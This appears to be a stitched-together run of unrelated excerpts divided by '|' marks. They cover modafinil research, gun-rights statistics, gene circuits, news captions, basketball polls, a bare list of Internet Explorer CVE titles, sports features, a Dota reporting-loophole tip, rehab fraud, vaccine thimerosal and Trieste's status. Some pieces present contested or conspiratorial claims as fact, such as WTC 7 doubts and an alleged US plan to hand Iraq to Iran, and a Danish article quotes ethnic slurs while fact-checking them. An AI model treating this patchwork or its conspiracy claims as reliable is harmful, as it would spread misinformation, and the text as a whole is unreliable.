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[10] also used high doses of modafinil (4 mg/kg or 300 mg) with healthy volunteers and found no cognitive enhancing effects of modafinil on addition, line discrimination and subjective confidence judgment during the performance on cognitive tasks. Likewise, Wesensten et al. [19] reported lack of effects of 400 mg of modafinil over and above 600 mg of caffeine on the Stroop, verbal fluency, simple reaction time, and the Wisconsin's Card Sorting task. More importantly, several studies failed to replicate Turner et al. 's [18] positive findings in the same neuropsychological tasks with healthy non-sleep deprived individuals [15]–[17]. Winder-Rhodes et al. [5] argued that the influence of modafinil may be subtle, restricted to challenging tasks and limited in healthy non-sleep-deprived participants. Consistent with these negative findings, a series of studies with healthy volunteers by Randall et al. [15]–[17] failed to find any effect of 100 or 200 mg of modafinil on spatial working memory, logic memory, the Paced Auditory Serial Addition Test, symbol copy, digit cancellation, verbal fluency, ID/ED-an attentional set-shifting task, trail A/B task, verbal fluency, clock drawing, visual delayed matching to sample, spatial planning, digit span, sustained attention, logical memory, Stroop and verbal fluency tasks. Turner et al., [20] reported that modafinil improved cognition and response inhibition in adults diagnosed with Attention-Deficit Hyperactivity Disorder (ADHD), a condition often characterized by impulsivity, inattention, and hyperactivity. However, Turner et al. [20] found that the observed sustained attention and accuracy by modafinil was due to the drug slowing response latency. This is consistent with earlier evidence from healthy non-sleep deprived individuals suggesting that, relative to placebo, modafinil increases performance accuracy in conjunction with a slowing of response latency on several tasks [18]. Pre-clinically, there is also evidence that treatment of mice with modafinil produces a delay-dependent enhancement in spatial working memory [21], a cognitive function that depends critically upon alertness and attention. However, in a subsequent study of the role of modafinil as a potential enhancer of attentional processes in rat, Waters et al., [22] reported that modafinil failed to significantly enhance five-choice serial reaction time test performance under standard conditions. Similarly, modafinil was unable to reverse the deficits in accuracy and/or increased omission errors induced by either parametric or pharmacological manipulations. Indeed, at higher doses, it was reported that modafinil caused an increase in premature responding or impulsivity under certain test conditions. |
A resident caught Jackson's arrest on video with her cell phone. It's since garnered over 1.3 million views. |
1. Highlights * Guns are used 2.5 million times a year in self-defense. Law-abiding citizens use guns to defend themselves against criminals as many as 2.5 million times every year—or about 6,850 times a day. (1) This means that each year, firearms are used more than 80 times more often to protect the lives of honest citizens than to take lives. (2) * Even anti-gun Clinton researchers concede that guns are used 1.5 million times annually for self-defense. According to the Clinton Justice Department, there are as many as 1.5 million cases of self-defense with a firearm every year. The National Institute of Justice published this figure in 1997 as part of “Guns in America”—a study which was authored by noted anti-gun criminologists Philip Cook and Jens Ludwig. (3) * Concealed carry laws have reduced murder and crime rates in the states that have enacted them. According to a comprehensive study which reviewed crime statistics in every county in the United States from 1977 to 1992, states which passed concealed carry laws reduced their rate of murder by 8.5%, rape by 5%, aggravated assault by 7% and robbery by 3%. (4) * Anti-gun journal pronounces the failure of the Brady law. One of the nation’s leading anti-gun medical publications, the Journal of the American Medical Association, found that the Brady registration law has failed to reduce murder rates. In August 2000, JAMA reported that states implementing waiting periods and background checks did “not [experience] reductions in homicide rates or overall suicide rates.”(5) * Twice as many children are killed playing football in school than are murdered by guns. That’s right. Despite what media coverage might seem to indicate, there are more deaths related to high school football than guns. In a recent three year period, twice as many football players died from hits to the head, heat stroke, etc. (45), as compared with students who were murdered by firearms (22) during that same time period. (6) * More guns, less crime. In the decade of the 1990s, the number of guns in this country increased by roughly 40 million—even while the murder rate decreased by almost 40% percent.7 Accidental gun deaths in the home decreased by almost 40 percent as well. (8) * CDC admits there is no evidence that gun control reduces crime. The Centers for Disease Control (CDC) has long been criticized for propagating questionable studies which gun control organizations have used in defense of their cause. |
Here, we show the mechanistic basis of the relationship between these two features by directly tuning the degree of nonlinearity in a given architecture. It is evident that the results presented here need to be considered in the context of the robustness and evolvability measures we applied. These measures were chosen to capture the properties of individual genotypes (rather than populations) under different mutational effects, and without invoking reference to organismal fitness. The relationships we found between the different measures of robustness and evolvability are in line with experimental findings. In particular, the correlation we observe between the evolvability measure defined for mutations of large effect and intrinsic noise fits with the empirical finding of a high correlation between environmental plasticity and gene expression noise in yeast [25, 32]. Gene regulation circuits can and frequently do exhibit more complex architectures than the two architectures covered in our study. The latter have, however, gained much attention previously, for instance as model systems for implementation in synthetic biology [44, 45]. Restricting our analysis to these well-researched architectures has the valuable benefit of tractability concerning their mechanistic underpinnings. By focusing on such minimal architectures, we are able to restrict the search space for potential mechanisms which can affect the relationship between robustness and evolvability. Thus, we find that even the simplest cases of nonlinear gene expression circuits are capable of solving the robustness-evolvability trade-off. Our findings provide a genotype-based resolution of the robustness-evolvability trade-off, and do not contradict previous suggestions based on population dynamics [6, 8, 12–16, 18]. In particular, our results relate to a recent population genetics study suggesting that there can be an optimal level of robustness that promotes evolvability, depending on the properties of the fitness landscape [15]. Using fitness landscapes with specified statistical properties, that study found that while robustness is negatively correlated with evolvability when mutations allow access to any of the possible phenotypes, there can be a positive correlation between robustness and evolvability when mutations can allow access to only a small fraction of all phenotypes. In light of those findings, it is interesting to see that our biologically well-defined genotype-phenotype mapping contains robust and evolvable genotypes only at increasing levels of nonlinearity in the equations governing gene expression levels. It is possible that increasing nonlinearity re-shapes this genotype-phenotype mapping in a way that is in line with the statical assumptions made in [15]. |
WEBVTT 00:12.012 --> 00:12.012 TOM: 27-YEAR-OLD NAN LIN WAS 00:12.012 --> 00:13.013 DRIVING ON INTERSTATE 80 FROM 00:13.013 --> 00:14.014 SACRAMENTO TO SAN FRANCISCO WHEN 00:14.014 --> 00:16.016 HE STARTED RECORDING ON HIS 00:16.016 --> 00:17.017 PHONE. 00:17.017 --> 00:20.020 HIS FOCUS THE UNMARKED GOLD 00:20.020 --> 00:21.021 SEDAN TRYING TO PULL HIM OVER. 00:21.021 --> 00:22.022 >> THAT 00:22.022 --> 00:26.026 DOES NOT LOOK LIKE A COP CAR. 00:26.026 --> 00:26.026 >> IN MIND IT WAS HEY HOW EASY 00:26.026 --> 00:28.028 IS IT FOR SOMEBODY TO PUT ON 00:28.028 --> 00:30.030 SOME LIGHTS AND JUST KIND OF ROB 00:30.030 --> 00:31.031 YOU. 00:31.031 --> 00:32.032 TOM: SKEPTICAL IT WAS ACTUALLY 00:32.032 --> 00:34.034 LAW ENFORCEMENT LIN CALLED 911 00:34.034 --> 00:35.035 TO REPORT WHAT WAS HAPPENING. 00:35.035 --> 00:36.036 >> THE PERSON ON THE PHONE TOLD 00:36.036 --> 00:36.036 ME SPECIFICALLY UNDER ANY 00:36.036 --> 00:38.038 CIRCUMSTANCE DO NOT PULL OVER 00:38.038 --> 00:40.040 AND JUST GO. 00:40.040 --> 00:41.041 A COUPLE MINUTES LATER THE 00:41.041 --> 00:43.043 DISPATCHER CALLED BACK AND SAID 00:43.043 --> 00:46.046 YOU KNOW WHAT WE DID IDENTIFY 00:46.046 --> 00:48.048 THAT AS BEING UNDERCOVER LAW 00:48.048 --> 00:49.049 ENFORCEMENT. 00:49.049 --> 00:53.053 COULD YOU PLEASE PULL OVER NOW? 00:53.053 --> 00:54.054 ," -- TOM: TO LIN'S SURPRISE 00:54.054 --> 00:57.057 WHEN HE FINALLY DID STOP IN 00:57.057 --> 00:58.058 VACAVILLE IT WASN'T THE POLICE 00:58.058 --> 00:59.059 , IT WASN'T CHP IS WAS TWO 00:59.059 --> 01:01.061 AGENTS FROM ALCOHOL BEVERAGE 01:01.061 --> 01:03.063 CONTROL. 01:03.063 --> 01:03.063 >> THEY WERE LIKE DROP THE PHONE 01:03.063 --> 01:05.065 . 01:05.065 --> 01:08.068 I'M LIKE I'M NOT DROPPING THE 01:08.068 --> 01:09.069 PHONE. 01:09.069 --> 01:09.069 THERE IS A DISPATCHER ON THE 01:09.069 --> 01:11.071 PHONE. 01:11.071 --> 01:12.072 TOM: THE AGENTS CITED LIN FOR 01:12.072 --> 01:13.073 MAKING AN UNSAFE LANE CHANGE AND 01:13.073 --> 01:13.073 FOLLOWING TOO CLOSE NOTHING 01:13.073 --> 01:14.074 ALCOHOL RELATED. 01:14.074 --> 01:14.074 THOSE VIOLATIONS JUST TWO OF 01:14.074 --> 01:15.075 MORE THAN 700 CITATIONS 01:15.075 --> 01:16.076 CALIFORNIA ABC OFFICERS HANDED 01:16.076 --> 01:19.079 OUT TO DRIVERS FROM 2014 TO 01:19.079 --> 01:21.081 2016. 01:21.081 --> 01:22.082 JOHN CARR IS ABC'S SPOKESMAN. 01:22.082 --> 01:23.083 >> DO AGENTS STOP PEOPLE FOR 01:23.083 --> 01:26.086 SPEEDING? 01:26.086 --> 01:28.088 >> YEAH SURE. 01:28.088 --> 01:30.090 >> FOLLOWING TO CLOSE? 01:30.090 --> 01:32.092 >> YES. 01:32.092 --> 01:34.094 NOT DRIVING WITH HEADLIGHTS 01:34.094 --> 01:36.096 >> YES. |
For the fourth year in a row the Ohio Valley Conference has conducted a Preseason Men's and Women's Media Poll prior to the start of the season. In total 12 voters from around the league cast a ballot on whom they thought would be the 2017-18 basketball favorites and preseason players of the year.The OVC will release its preseason poll and All-OVC team, as voted on by league head coaches and sports information directors, on Tuesday, October 24 during the league's annual Media Day in Evansville.The media panel picked the Belmont men's and women's teams as the preseason favorites. Murray State senior guardwas tabbed the OVC Men's Basketball Preseason Player of the Year while Murray State senior forwardwas named OVC Women's Basketball Preseason Player of the Year.In the men's voting, defending regular season champion Belmont picked up eight of the 13 first-place votes and 148 total points in being picked the preseason favorite. Murray State picked up one first-place votes and 138 points to be picked second while defending OVC Tournament champion Jacksonville State received two first-place votes and 132 points in being tabbed third. Tennessee State (95 points) and Eastern Kentucky (91) also picked up first-place votes in being selected fourth and fifth. The poll was rounded out by UT Martin (82), Tennessee Tech (80), Eastern Illinois (79), Morehead State (59), Austin Peay (48), Southeast Missouri (36) and SIUE (26).In women's voting it was two-time defending OVC Tournament champion Belmont who picked up 12 of the 13 first-place votes and 155 points in being tabbed an overwhelming favorite. UT Martin picked up the other first place vote and 125 points in being picked second while Morehead State was third (119) and SIUE fourth (109). The poll was rounded out by Murray State (96), Austin Peay (91), Tennessee Tech (71), Southeast Missouri (66), Eastern Kentucky (57), Jacksonville State (55), Tennessee State (40) and Eastern Illinois (30).Pollsters for the 2017-18 OVC Media Poll included: Catlin Bogard, OVC Ball; Mike Bradd, Eastern Illinois Radio; Neal Bradley, Murray State Radio; Rob Calhoun, Eastern Illinois Radio; Edward Marlowe, Paducah Sun; Mike Organ, The Tennessean; Justin Rust, Journal Gazette/Times-Courier; Harry Schroeder, ValleyHoopsInsider.com; Greg Stotelmyer, Eastern Kentucky Sports Network.1. Belmont (8 first-place votes) - 148 points2. Murray State (1) - 1383. Jacksonville State (2) - 1324. Tennessee State (1) - 955. Eastern Kentucky (1) - 916. UT Martin - 827. Tennessee Tech - 808. Eastern Illinois - 799. Morehead State - 5910. |
Vulnerability title CVE number Internet Explorer Memory Corruption Vulnerability CVE-2014-0282 Internet Explorer Memory Corruption Vulnerability CVE-2014-1762 Internet Explorer Memory Corruption Vulnerability CVE-2014-1766 Internet Explorer Memory Corruption Vulnerability CVE-2014-1769 Internet Explorer Memory Corruption Vulnerability CVE-2014-1770 Internet Explorer Memory Corruption Vulnerability CVE-2014-1772 Internet Explorer Memory Corruption Vulnerability CVE-2014-1773 Internet Explorer Memory Corruption Vulnerability CVE-2014-1774 Internet Explorer Memory Corruption Vulnerability CVE-2014-1775 Internet Explorer Memory Corruption Vulnerability CVE-2014-1779 Internet Explorer Memory Corruption Vulnerability CVE-2014-1780 Internet Explorer Memory Corruption Vulnerability CVE-2014-1781 Internet Explorer Memory Corruption Vulnerability CVE-2014-1782 Internet Explorer Memory Corruption Vulnerability CVE-2014-1783 Internet Explorer Memory Corruption Vulnerability CVE-2014-1784 Internet Explorer Memory Corruption Vulnerability CVE-2014-1785 Internet Explorer Memory Corruption Vulnerability CVE-2014-1786 Internet Explorer Memory Corruption Vulnerability CVE-2014-1788 Internet Explorer Memory Corruption Vulnerability CVE-2014-1789 Internet Explorer Memory Corruption Vulnerability CVE-2014-1790 Internet Explorer Memory Corruption Vulnerability CVE-2014-1791 Internet Explorer Memory Corruption Vulnerability CVE-2014-1792 Internet Explorer Memory Corruption Vulnerability CVE-2014-1794 Internet Explorer Memory Corruption Vulnerability CVE-2014-1795 Internet Explorer Memory Corruption Vulnerability CVE-2014-1796 Internet Explorer Memory Corruption Vulnerability CVE-2014-1797 Internet Explorer Memory Corruption Vulnerability CVE-2014-1799 Internet Explorer Memory Corruption Vulnerability CVE-2014-1800 Internet Explorer Memory Corruption Vulnerability CVE-2014-1802 Internet Explorer Memory Corruption Vulnerability CVE-2014-1803 Internet Explorer Memory Corruption Vulnerability CVE-2014-1804 Internet Explorer Memory Corruption Vulnerability CVE-2014-1805 Internet Explorer Memory Corruption Vulnerability CVE-2014-2753 Internet Explorer Memory Corruption Vulnerability CVE-2014-2754 Internet Explorer Memory Corruption Vulnerability CVE-2014-2755 Internet Explorer Memory Corruption Vulnerability CVE-2014-2756 Internet Explorer Memory Corruption Vulnerability CVE-2014-2757 Internet Explorer Memory Corruption Vulnerability CVE-2014-2758 Internet Explorer Memory Corruption Vulnerability CVE-2014-2759 Internet Explorer Memory Corruption Vulnerability CVE-2014-2760 Internet Explorer Memory Corruption Vulnerability CVE-2014-2761 Internet Explorer Memory Corruption Vulnerability CVE-2014-2763 Internet Explorer Memory Corruption Vulnerability CVE-2014-2764 Internet Explorer Memory Corruption Vulnerability CVE-2014-2765 Internet Explorer Memory Corruption Vulnerability CVE-2014-2766 Internet Explorer Memory Corruption Vulnerability CVE-2014-2767 Internet Explorer Memory Corruption Vulnerability CVE-2014-2768 Internet Explorer Memory Corruption Vulnerability CVE-2014-2769 Internet Explorer Memory Corruption Vulnerability CVE-2014-2770 Internet Explorer Memory Corruption Vulnerability CVE-2014-2771 Internet Explorer Memory Corruption Vulnerability CVE-2014-2772 Internet Explorer Memory Corruption Vulnerability CVE-2014-2773 Internet Explorer Memory Corruption Vulnerability CVE-2014-2775 Internet Explorer Memory Corruption Vulnerability CVE-2014-2776 Internet Explorer Memory Corruption Vulnerability CVE-2014-2782 |
How can this be? Up to and including 2001 I recall a steady stream of opinions from leaders of engineering organizations about how structural engineers needed to bolster their image and educate the public about their important role in society as guardians of public safety. Engineers and professors appeared soon after 9/11 attempting to explain the destruction in rational terms of impact damage, thermal damage, column buckling and progressive collapse even before the fires cooled and the debris was examined. Where are these experts now? None are seeking attention – not even the research engineers who claim to have solved the mystery of WTC 7 after many years of data collection, computer analyses and report preparation all of which failed to follow the Basic Methodology of NFPA 921 (Guide to Fire and Explosion Investigations, 2001 Edition) Chapter 2. The final NIST reports were never subjected to an independent review before publication, and the authors ignored many public comments submitted in response to their draft reports. The NIST FOIA Officer recently informed me that the collapse-initiation model results are being withheld from the public because the NIST Director has "determined that the release of these data might jeopardize public safety." The National Construction Safety Team Act of 2002 (H.R. 4687) requires NIST to issue a public report including an analysis of the likely technical cause of collapse, and I cannot imagine how disclosure of structural calculations for a building that no longer exists could possibly jeopardize public safety. Can you? A representative of NIST Media Relations has said that NIST stands behind its reports. The obvious question is: does anyone else stand behind the NIST reports? Is the cast closed because NIST says so in its final report? Are we going to look forward – not back – because President Obama says so for political expediency? Are we going to turn this page of history before reading and understanding it, or should we pretend it never happened? I say no, but so far the vast majority of engineers are silent regardless of their opinion. We know there are thousands of well-informed citizens worldwide including architects, engineers and scientists of every discipline that do not accept the NIST conclusions regarding the likely cause of collapse of WTC 7, and they do so with excellent reasons. So far there are few who will endorse the NIST reports other than those who created them. |
The US ruling elite will pull the troops out of Iraq in order to give Iraq to Iran, but will complain publicly about the outcome, giving the appearance of withdrawing the troops under pressure from the US public. Consistent with this view, consider what the Toronto Star wrote on 24 November 2005, in an article titled “White House sets stage for pullback of troops”: “Zalmay Khalilzad, the U.S. ambassador to Iraq, also told CNN this week he believed it would be possible to begin a withdrawal of American forces next year. The change in tone appears to be an acknowledgement of the increasing unpopularity of the war, with one national poll this week indicating 65 per cent of Americans would like to see the troops home by the end of 2006.” [4a] The word “also” is appended to Khalilzad's opinion because he was echoing Pentagon officials and US Secretary of State Condoleeza Rice, whose identical views were reported in the same article. But perhaps you will notice the contradiction in what the Daily News reported Khalilzad as saying only four days later: “Bush’s ambassador to Iraq warned yesterday that pulling out of the country early would be disastrous. ‘Terrorists could take over part of this country and expand from here,’ Zalmay Khalilzad told Newsweek. ‘And given the resources of Iraq, given the technical expertise of its people, it will make Afghanistan look like child’s play.’” [4b] Since a withdrawal needs to be planned, and since Zalmay Khalilzad's preferred date for a major withdrawal -- “next year” -- is already upon us (this is November), Khalilzad is in fact calling for an immediate troop withdrawal even as he explains that “pulling out...early would be disastrous.” An absurdity? Not under my hypothesis: the US ruling elite wants the “disastrous” result, but knows that the American public will deplore it, so US officials must appear to deplore it also, and to be pulling out of Iraq reluctantly, under pressure from the American public. This is precisely why US government statements about impending withdrawal did not come before the polls began to show a strong US majority for it, as we see above. Also consistent with my hypothesis is all this business about the missing Weapons of Mass Destruction (WMDs). Clearly, the US ruling elite wanted the world to think that it didn't have a good reason to attack Iraq. Why do I say this? |
Despite McKellar's enthusiasm, the audience - with the exception of one elderly man with a none-too-clean iron-gray ponytail who guffawed indiscriminately throughout - remained stony-faced. ("Do you remember math tests?" she asked confidentially at one point. Silence. "Well, I sure do!" she continued pluckily.) The reading portion, because it's a math text, was necessarily brief. Then, of course, questions. "I'm a teacher," said the first speaker. "Are you going to continue with the series and do pre-calc, calculus and trig, too?" McKellar said she might. "I'm also a teacher," said the next. "And I'm already seeing girls feeling really discouraged by seventh grade. " "I'm a middle-school teacher, too," said a third. "are you going to be doing any speaking at schools?" A guy asked if she was encouraged by the recent reports that girls were as good at math as boys. "Those statistics are nothing new," said McKellar heatedly. "It's not a question of ability; girls just don't see themselves as able to compete at a high level." Someone asked about her speech before Congress for funding for scholarships for women. "The truth is, scholarships aren't the problem, really," said McKellar. "By college, it's too late - women don't think of themselves as mathematicians, end of story. They're not applying for those scholarships." "Don't you think it's unfair to be focusing on girls when kids across the board are struggling with math?" asked one guy aggressively. "Well, lots of boys read the book," said McKellar defensively. She went on to say that textbooks had always been geared towards a male sensiblity, so this was more about redressing a balance. "When is The Wonder Years coming out on DVD?" demanded an old man with a mustache and a Nascar cap. McKellar very graciously replied that she didn't know but that "I've heard there are bootlegs out there, but they're illegal." As the customers lined up, marshaled strictly by the B&N employees, to have their books signed, I heard an 11-year-old girl say, shyly, "I like your book. It made math fun." McKellar beamed with pleasure. At that same moment, I noticed a group of young guys pass by the picture window in front of which the actress and math genius was standing and give her rear end a thorough and unabashed once-over. The two things, combined, seemed like a pretty good window into the one-time Maxim model's life. Kiss My Math, indeed. |
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Closing down mental health centers without a plan for families and individuals to get support at the community level is not Iowa. That’s not who we are. We are better than that. [applause] And it can’t just be about our physical and mental health. It’s got to be about our environmental health. What good does it do if we can’t drink the water and breathe clean air? We can do this. We can do this together. A more prosperous Iowa: how about starting with that $15 livable wage? Not for extravagant things, but to help Iowans pay for everyday living things, have that money circulating about the local economies. How about let’s invest in corporations and businesses that invest in Iowa, in Iowans. They don’t fight efforts to collectively bargain–which we need to restore those rights. They don’t make–they don’t ask for something in return, without giving back to us. Let’s make those investments in corporations that short-term, that give back to us. And an inclusive, welcoming Iowa: Governor Ray in the 70s and Iowa did welcome folks from southeast Asia, and that was an Iowa thing to do. But it’s not just DACA, it’s folks from around the world who are contributing to our local economies, who are contributing to the state of Iowa. We need to get back to being a welcoming Iowa. So those messages that we’ve been seeing around the country, those voices and faces of hate: imagine having to go and apply for a job with someone, imagine going to apply for a loan with someone that you saw with those messages of hate. Seeing someone at work. My message to Iowa is let’s get back to being Iowa. We are a welcoming state. We can push through those messages of hate, but it’s going to take all of us speaking out. We’ve got to show love and we’ve got to choose a better message than hate. We can do that. I need you to help us help Iowans choose a better message than hate. You see, it’s not just about diversity and inclusion. They are important, but it’s not just about that. It’s about a welcoming, friendly, encouraging Iowa. We want to have an Iowa where there’s economic opportunity for all, so that we are getting back to those Iowa values. Can we do better? Can we do better than that, Iowa? [applause] We can do better. Let’s be Iowa. Let’s be Iowa. |
75 procent af journalister hælder til Enhedslisten. De giver det billede, de selv vil have ud - det ville jeg da også gøre, hvis jeg var journalist. Men historien om, at vi bruger 100 milliarder kroner i sociale ydelser til perkere, bliver ikke fortalt. EKSTRA har selvfølgelig undersøgt påstanden om journalisters politiske orientering, ligesom vi også har tjekket beløbet på 100 milliarder. Center for Journalistik ved Syddansk Universitet lavede i november 2008 en undersøgelse af, hvilke partier politiske journalister stemte på. Den viste, at kun 12 procent var venstreorienterede. Og med hensyn til de 100 milliarder, så oplyser Social-og Integrationsministeriet til EKSTRA, at ' ministeriets årlige budget for sociale ydelser er på omkring 200 milliarder kroner'. Det vil altså, ifølge Kasper Mortensen, sige, at indvandrere får halvdelen af samtlige sociale ydelser i Danmark. Ministeriet oplyser dog, at den suverænt tungeste post på budgettet er den danske folkepension - og den udgift landede i 2011 på 102 milliarder kroner. RETORIKKEN ER ikke til at tage fejl af. Kasper kalder indvandrere og muslimer for ' perkere' eller ' æselriddere', og profeten Muhammed bliver kaldt ' pædofil'. Alligevel står han fast på, at hverken han eller Danish Defence League er racister. - Vi er ikke racister, islam er ikke en race. Du kan konvertere til islam og blive salifist, så ville jeg hade dig lige så meget som de arabere, der er det. Islam er en fascistisk ideologi, der burde være ulovlig. - Hvorfor kalder du dem perkere? - Det er det, de er. Det er lettere end at sige indvandrere. Men det ville være fedt, hvis du ville skære det væk fra interviewet og skrev indvandrere eller noget andet i stedet. - Det kan jeg ikke. Du har jo sagt det - og du har sagt, at du mener, det er det, de er. - Det lyder bare så racistisk. marien@eb. dk. Jeg er førtidspensionist. Men jeg er dansker. Det er mit land, det her. Jeg har ret til det Anders Breivik er bare produkt af en rød regering, der driver folk til vanvid Alle muslimer stemmer socialdemokratisk Uden omsvøb og overbevisende fortæller han om sin holdning til de ' perkere, der ødelægger vores land'. Fakta: DANISH DEFENCE LEAGUE KING ER SÅKALDT MUSKELHUND, men er ganske ufarlig, fortæller Kasper: - Det er muslimernes skyld, at muskelhunde er blevet ulovlige. De tæsker dem og bruger dem som kamphunde. Det er dem, der er skyld i det. King ville aldrig gøre nogen fortræd. |
It's as though hisrituals allow him to keep his balance, each hard-won gain calling for constant maintenance. Then he stretches every inch of tendon and ligament in both halves of his body. A few minutes later, Barry Zito emerges, tall and purposeful, out of the clubhouse tunnel. The two men continue to stretch together, throwing partners on their way to becoming friends. "This game's hard enough one-sided," Zito says. They pick up their gloves. Venditte puts his on his right hand. They are not the same pitchers or men. Zito is a Cy Young Award and World Series winner, rich beyond even a ballplayer's wildest dreams. Venditte still covets a fraction of Zito's reality. But in this instant they are both left-handers hoping for the same call into the manager's office -- You're going up -- and only the less famous one will make history if he gets it. They begin to play catch. Venditte stands on the foul line in left field, and Zito stands maybe 20 feet from him toward center, and they toss the ball to each other like kids in the yard. You can definitely teach yourself to do it, you just gotta do it. - Aubrey McCarty Then Zito begins moving back, a few steps at a time. Soon they are 50 or 60 feet apart, and Venditte drops his arm into its more familiar sidearm slot, slinging the ball toward Zito, who returns it over the top. Their differences are at their starkest just then: Zito's almost musical four-beat delivery, Venditte's more mechanical catapult. But Zito continues drifting toward center field, 100 feet, now 110, now 120, and Venditte's arm slowly rises at its shoulder, and the two become closer to twins. Still more Zito wanders: 150, 175, 200 feet. Now they have to put more of their bodies into their throws, taking a step before each launch. The distance has leveled them. Venditte might even look the stronger of the two. Zito steps farther out of range. He's 220 feet away, then 230, 240, 250. It seems like a long time ago now, but Zito's left arm was once the essence of possibility. His curveball, the heights it reached and the distance it dropped, made curveballs seem like something more than we might have imagined they could be. Crowds didn't cheer it; they murmured after it, the way astronomers must feel a shiver of doubt when they discover an unnamed star. |
PLAYING WITH AND AGAINST JAGR LANG Also an occasional linemate of Jagr’s for four seasons in Pittsburgh (1997 to 2001) He could turn the outcome on his own. Oftentimes, it really was like a man playing with kids. And it’s not just boosting his ego; you can look at the record books. I think when he would get in the zone when he was in Pittsburgh in his prime, there was not a better player at the time. SCOTT HARTNELL Jagr’s linemate for most of the 2011–12 season in Philadelphia, now with the Columbus Blue Jackets Meeting him for the first time, I was expecting a guy who has put up all the points and all the All-Star Games and stuff like that to have a sense of entitlement and just be rude—you know, one of those players. But lo and behold, he was the nicest guy I’ve ever played with. TOMAS PLEKANEC Who played with Jagr for the Czech national team at the past two Olympics He doesn’t talk much on the ice. He’ll nod and smile. LANG He always, with whoever it was, wanted to make sure they knew the way he likes to do it and the way it would work. FRANCIS People would see him off the ice smiling and coming off easygoing, but that’s a facade that a young player might go with. The reality was that he was a great student of the game. JAKUB VORACEK Right-winger who played with Jagr on the national team, and with the Philadelphia Flyers in 2011–12 I had a poster of [Jagr] on my wall growing up in Kladno, like every kid born in the ’80s and ’90s. The first time I played with him was in 2010, at the worlds. We played the Russian dream team in Russia and we had only a couple of other NHL guys. I’m 20 and I’m playing with the guy who was a poster on my wall. It was amazing. JONATHAN HUBERDEAU Current linemate with the Florida Panthers I was pretty nervous. I had his hockey cards back home. One practice, I brought them, it was funny. First time I met him, I said, “Hi, I’m Jonathan, nice to meet you,” and I was playing with him on the ice. I wanted to get him the puck as much as I could. [Laughs.] |
You are only going to be put into Low Priority from reports if you are reported over multiple games in a short period of time.Thanks to the introduction of the behavior report that you get every 10 games, you can tell more or less how many reports it takes to get into Low Priority. These are numbers that I've hand-tested, so I can't tell you if they're 100% accurate, but it seems like you need about 8 or 9 reports within that 10-game period in order to end up in Low Priority.In addition, I believe that reports made against other players in Low Priority either do not count or are greatly discounted. I have never had my Low Priority games reset due to reports while I was in Low Priority.Muting is a different issue which I haven't investigated. I have never been muted and while I believe it works on similar principles to being put into Low Priority by being reported, I am not sure.In simple terms, to avoid Low Priority, do not abandon or get an abandon more than once every seven days or so, and do not feed intentionally more than once every three games.I'm not sure if Low Priority acts any differently for Ranked games as opposed to normal games. Reports seem to function the same, as well as the one free abandon per week, but I would still be cautious of abandoning or feeding in Ranked games nevertheless.Because Valve have recently changed the number of reports available to players, and because of how the new UI works, there is a big loophole in this system: if a game becomes safe to leave (because, for example, you're feeding so hard someone gets fed up and abandons), anyone who leaves WILL NOT be able to report you. You can only report people at the natural end of the game now, and if you leave prematurely that option is no longer available. |
The feds are beginning to take notice. At the end of 2014, FBI and IRS agents raided a handful of facilities in South Florida, including Halfway There, where Nicole was staying when she died, and its sister organization, an outpatient program called Real Life Recovery, which was licensed by the Florida Department of Children and Family Services to provide counseling to addicts. Nicole’s family is suing Halfway There for wrongful death, alleging that the halfway house’s staff took her to the motel because she was high, without ever seeking medical care. Both Halfway There and Real Life Recovery went out of business earlier this year, according to Judd Brazer, the general manager of the company that purchased Real Life Recovery’s assets. Eric Snyder, who owned Halfway There and Real Life Recovery, declined to answer detailed questions that BuzzFeed News sent through Halfway There’s lawyer, Bryan Yarnell. “The passing of Nicole Cronin was tragic,” Yarnell responded by email, adding that he cannot address specific facts of the case because of pending litigation. “However, my client is confident that when all of the facts are brought forward, that the wrongful death action which has been filed against it will be found to have no merit.” There are no doubt many addicts who find help in Delray Beach (as some of the Facebook reviews of Halfway There attest). But there’s no denying that the city’s recovery industry is full of bad actors. “We have some of the best of the best, and some of the worst of the worst, in Delray Beach,” Paul Cassidy, the chief operating officer of Access Recovery Solutions, a treatment center in Delray Beach, told BuzzFeed News. “Anywhere there’s money to be made you’re going to get people who don’t have the right intentions.” |
Mercury – Probably no chemical gets more press from anti-vaccine nuts than mercury, and the funny thing is, vaccines don’t really contain mercury, they contain thimerosal, which is a mercury-containing preservative. Now, you may say, “wait a minute, if vaccines contain thimerosal, and thimerosal contains mercury, than vaccines contain mercury.” Technically you are correct, but apparently you didn’t pay attention in chemistry class. You see, how chemicals behave depends on what other chemicals they are bound to. The highly toxic mercury is methyl mercury. Thimerosal is ethyl mercury, which is not toxic unless its in extremely high doses. You may think that mercury is mercury and I’m just playing semantic games, but as I will demonstrate, you’re dead wrong. Let me use an illustration to try to demonstrate that chemicals properties change when they are bound to different substances. Sodium and chlorine are both highly toxic. If you were to sprinkle either one across your food on a regular basis, you would be in big trouble. Yet when they are combined into sodium chloride, wet get table salt (sea salt is also mostly sodium chloride), which is totally safe unless eaten in excess. You don’t get the symptoms of chlorine poisoning from salt, even though salt is a chlorine-containing preservative. Even so, you don’t get the symptoms of mercury poisoning from thimerosal even though thimerosal is a mercury-containing preservative. This is high school chemistry.Finally, as of 2001, technological advances had provided alternatives to thimerosal that don’t contain any mercury of any kind. So to both appease the public and err on the side of caution (there is no evidence that the amount of thimerosal in vaccines was toxic), thimerosal was removed from all vaccines except a few forms of flu shot. So really this whole section was a waste because almost all modern vaccines contain no mercury of any form, yet this is the number 1 chemical that the anti-vaccine crowd cites as being harmful. Once again, they are clearly not fact checking their memes and blogs. |
In this document, while defining many military and geopolitical aspects, Italy was entrusted the administration of the Free Territory of Trieste Between 1947 and 1954 Trieste was under the control of the Allied Military Government.After 1954, the role of the Italian State was restricted to manage, on behalf of the United Nations, the city and the Port of Trieste; not a sovereignty, but, the Treaty says, an “administration.” The Free Territory of Trieste, according to the pact, should have — among many special features granted by the UN Security Council — also its own flag, and use a local currency system. In fact, an independent State in which Italy would only play a role as temporary administrator.According to the Free Trieste Movement , a political organization that asks for the application of the Treaty of Peace and other post-war international agreements , none of these special features have been ever honored over the years by the Italian Governments. The Movement sent a claim addressed to the Italian State, the United Nations and the European Union Although the story seems at first sight only a political oddity (and when it comes to Italy oddities are habits), in fact the documents proving the existence of this anomaly are consistent and have never been challenged. The United Nations, while dealing with the case, have not yet decided to provide a clear and ultimate official response.In this regard, the regional public TV broadcaster RAI of Friuli -Venezia Giulia , the Italian region where Trieste is located, claims to have sent an email with a request for clarification to the United Nations Secretary-General Ban Ki-moon, and have had received a terse response (one line) in which the UNO Secretary spokeswoman Morana Song says that "the United Nations 